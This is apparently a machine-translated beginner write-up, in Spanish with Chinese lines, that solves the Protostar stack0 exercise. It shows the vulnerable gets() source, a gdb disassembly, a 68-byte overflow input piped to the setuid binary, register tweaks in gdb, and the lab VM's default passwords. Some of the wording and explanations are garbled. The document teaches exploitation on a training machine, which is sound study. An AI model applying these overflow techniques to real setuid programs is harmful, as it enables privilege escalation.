Introducción
Pwn es una de las direcciones de la competencia CTF y también es el umbral más alto. Antes de aprender pwn, necesita muchos conocimientos. Se recomienda comprar primero una cuarta edición de lenguaje ensamblador en un sitio web determinado. Después de leerlo, aprende python y lenguaje c. Se recomienda python. Mira los tutoriales en YouTube FreeCodeCamp, lo mismo ocurre con el lenguaje C.
La mayoría de las preguntas de pwn implican descifrar archivos binarios que se ejecutan en servidores remotos y explotar vulnerabilidades en los archivos binarios para obtener acceso al sistema.
Este es un buen campo de tiro para principiantes en PWN. Este campo de tiro incluye:
网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode
enlace de descarga:
https://exploit.education/downloads/
Implementación del entorno experimental
Protostar靶机下载地址:https://exploit.education/protostar/
windoows的ssh连接软件:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
Después de descargar el archivo de imagen de Protostar, instálelo en vmware y luego ábralo
账号为user,密码user
如何切换到root权限:进入user用户然后 su root 密码为godmod
Conexión remota SSH
: ingrese la IP y haga clic en Abrir, ingrese la contraseña de la cuenta, luego ingrese /bin/bash y reemplácelo con un shell que pueda completar la cadena.
En la introducción del dron Protostar en el sitio web, las preguntas que queremos resolver se almacenan en este directorio.
/opt/protostar/bin
Entramos en este directorio y vemos los archivos en detalle
ls -al
Descubrimos que todos los archivos están en rojo, revisemos los archivos en detalle.
flie stack0
Este es un programa setuid de 32 bits.
fijar tiempo
¿Qué es setuid?
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
Esto es un poco complicado, pongamos un ejemplo.
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
Demostración
: ejecutamos un vim como usuario usuario
y luego abrimos una nueva ventana para ver el proceso en segundo plano.
ps -aux
Como puede ver aquí, nuestro vim se está ejecutando con permisos de usuario. Luego ejecutemos el archivo setuid en la máquina de destino. Aquí podemos ver
que aunque somos el usuario usuario, después de ejecutar el archivo, el archivo se ejecuta con permisos de root.
Cuando verificamos los permisos del archivo,
r significa lectura, w significa escritura y x significa ejecutar. Entonces, ¿qué es s?
s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的
Cuando este bit es ejecutado por un usuario con derechos de usuario, Linux en realidad se está ejecutando con los derechos del creador del archivo, en este caso, se está ejecutando con derechos de root. Nuestro objetivo es descifrar estos archivos y obtener permisos de root
.
Análisis del código fuente del programa STACK ZERO
Resolvemos un problema simple y lo llevamos a comprender mejor cómo se ejecuta el programa y cómo descifrarlo mediante el análisis del lenguaje ensamblador y el conocimiento relacionado.
题目的源代码:https://exploit.education/protostar/stack-zero/
Detalles de la pregunta: este nivel introduce el concepto de que se puede acceder a la memoria fuera de su área asignada, cómo se distribuyen las variables de la pila y que las modificaciones fuera de la memoria asignada pueden modificar la ejecución del programa.
Analizar el código fuente, este es un programa escrito en lenguaje C.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified; //定义一个变量
char buffer[64]; //给buffer变量定义数组,c语言中一个字符数就是一个字符串
modified = 0; //modified变量=0
gets(buffer); //获取我们的输入,赋予到buffer变量里
if(modified != 0) { //如果modified不等于0
printf("you have changed the 'modified' variable\n"); //打印'成功改变modified变量'字符串
} else { //否则
printf("Try again?\n"); //打印'再试一次'
}
}
Obviamente, necesitamos hacer que la declaración if sea exitosa e imprimir la cadena de variables cambiadas exitosamente. Presentaré cómo descifrar el programa y obtener permisos de root en el próximo artículo.
obtiene análisis de vulnerabilidad de función
En la documentación oficial de la función gets, hay un dicho que dice que
nunca se debe usar la función get, porque si no conoce los datos de antemano, no puede juzgar cuántos caracteres leerá get, porque get continuará almacenando caracteres. cuando se excede el final del buffer. Es extremadamente peligroso de usar y dañará la seguridad de su computadora, use fgets en su lugar.
Análisis de compilación
Usamos gdb para abrir el programa para su posterior análisis.
gdb /opt/protostar/bin/stack0
Luego miramos el código ensamblador del programa para comprender cómo funciona la pila del programa.
set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main 显示所有的汇编程序指令
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
0x080483f4 <main+0>: push ebp
La primera es insertar ebp en la pila. EBP es un registro de la CPU. Contiene una dirección que apunta a una determinada ubicación en la pila. Almacena la dirección en la parte inferior de la pila. En la información de referencia de instrucciones oficiales de Intel, Como puede ver, mov esp, ebp y pop ebp son el principio y el final de la función
https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia- 32-architectures -software-developer-instruction-set-reference-manual-325383.pdf
En este programa, la operación inicial es empujar ebp a la pila, luego poner el valor de esp en ebp, y cuando finaliza la función, el se realiza la operación de salida
0x08048433 <main+63>: leave
leave:
mov esp,ebp
pop ebp
Se puede observar que las operaciones al principio y al final del programa son simétricas,
luego se realizan las siguientes operaciones
0x080483f7 <main+3>: and esp,0xfffffff0
La instrucción AND borra 1 o más bits de un operando sin afectar a otros bits. Esta técnica se llama enmascaramiento de bits, al igual que cuando se pinta una casa, se usa cinta adhesiva para cubrir las áreas que no se van a pintar (como las ventanas), aquí se oculta la dirección del esp.
0x080483fa <main+6>: sub esp,0x60
Luego resta 60 hexadecimal de esp
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
La posición movida en la memoria es 0 y el desplazamiento en la pila es 0x5c
dirección de segmento + dirección de desplazamiento = dirección física.
Por ejemplo, hay 2000 metros desde la casa hasta la escuela. Estos 2000 metros son la dirección física. Vas desde casa. al hospital. Hay 1500 metros, y está a 500 metros de la escuela. Los 500 metros restantes son la dirección compensada. Le
recomiendo que lea el libro "Lenguaje ensamblador". En este libro, hay muchos conocimientos relevantes. sobre la capa inferior de la computadora.
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
La operación lea es tomar la dirección efectiva, es decir, tomar la dirección esp + la pila en la dirección de desplazamiento 0x1c,
luego DWORD PTR necesita tomar la dirección de eax en esp
y llamar a la función gets.
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
Luego compárelo con el valor establecido previamente, 0, y use la prueba para verificar
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
Estas son las operaciones del bucle if.
Demostración práctica
Método 1: desbordamiento
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
Primero establecemos un punto de interrupción en la dirección de la función get, de modo que cuando el programa alcance esta dirección, se detendrá y continuará ejecutando la siguiente operación.
断点意思就是让程序执行到此“停住”,不再往下执行
b *0x0804840c
Luego establezca un punto de interrupción después de llamar a la función gets para ver dónde está la cadena que ingresamos
b *0x08048411
Luego establezca
define hook-stop
Esta herramienta puede ayudarnos a ejecutar automáticamente los comandos que configuramos después de detener cada paso de la operación.
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束
Luego ingresamos ejecutar para ejecutar el programa hasta el primer punto de interrupción.
r
Ahora estamos a punto de ejecutar la función obtiene, ingrese n para ejecutar la función obtiene.
n //next
Ingresamos algo de contenido a voluntad y presionamos la tecla Enter,
puedes ver que 0x41 es el código ASCII de A. Todavía estamos a cierta distancia de 0x0000000.
x/wx $esp+0x5c //查看esp地址+0x5c偏移地址的内容
Después del cálculo, necesitamos cubrir 68 caracteres,
ingrese q para salir de gdb
y luego use echo o python para ingresar al programa.
echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0
python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0
Como puede ver, hemos impreso correctamente los caracteres correctos.
Método 2: cambiar el valor del registro eip
La función de un registro es almacenar código binario. Diferentes registros tienen diferentes funciones. Aquí necesitamos conocer un registro muy importante. Se llama EIP, que en los programas de 64 bits se llama RIP. Es el puntero del programa. , y el puntero se usa para encontrar la dirección. , cualquier dirección a la que apunte, se ejecutarán los parámetros de esa dirección. Al controlar este puntero, podemos controlar la ejecución de todo el programa
y volver a abrir el programa. Ya que podemos controlar el registro eip, podemos establecer un punto de interrupción en cualquier lugar. Estoy aquí El siguiente punto de interrupción en el encabezado del programa
b *main
Ejecute el programa hasta el punto de interrupción.
r
Ver los valores de todos los registros.
info registers
La dirección del punto de interrupción que configuré es 0x80483fd y el valor del registro eip también es 0x80483fd.
Verifique el código ensamblador del programa.
Si el valor que ingresamos es diferente del valor establecido por el programa, saltará a la posición 0x8048427 y luego generará Inténtalo de nuevo, lo que significa que el crack falla. Así que modificamos el valor del registro eip a 0x8048419 y llamamos a la función put en la siguiente dirección. El resultado es que has cambiado la variable 'modificada', lo que significa que el crack se realizó correctamente. .Ahora modificamos el valor del registro eip
.
set $eip=0x8048419
Después de la modificación, verifique los valores en todos los registros nuevamente y puede ver que eip ahora apunta a la dirección que especificamos.
n //执行下一个地址
Agrietado con éxito
Método 3: modificar el valor del registro eax
El método más directo es cambiar el valor de comparación para que el valor del registro eax no sea igual a 0, porque el carácter de solicitud correcto no se generará hasta que la lógica del código fuente del programa no sea igual a 0. Ha cambiado el ' variable modificada
Establecer un punto de interrupción en el punto de comparación
b *0x08048415
Ejecute el programa
r
Ver los valores en todos los registros
Modificar el valor en el registro eax
set $eax = 1
Luego continúe ejecutando el programa.
Agrietado con éxito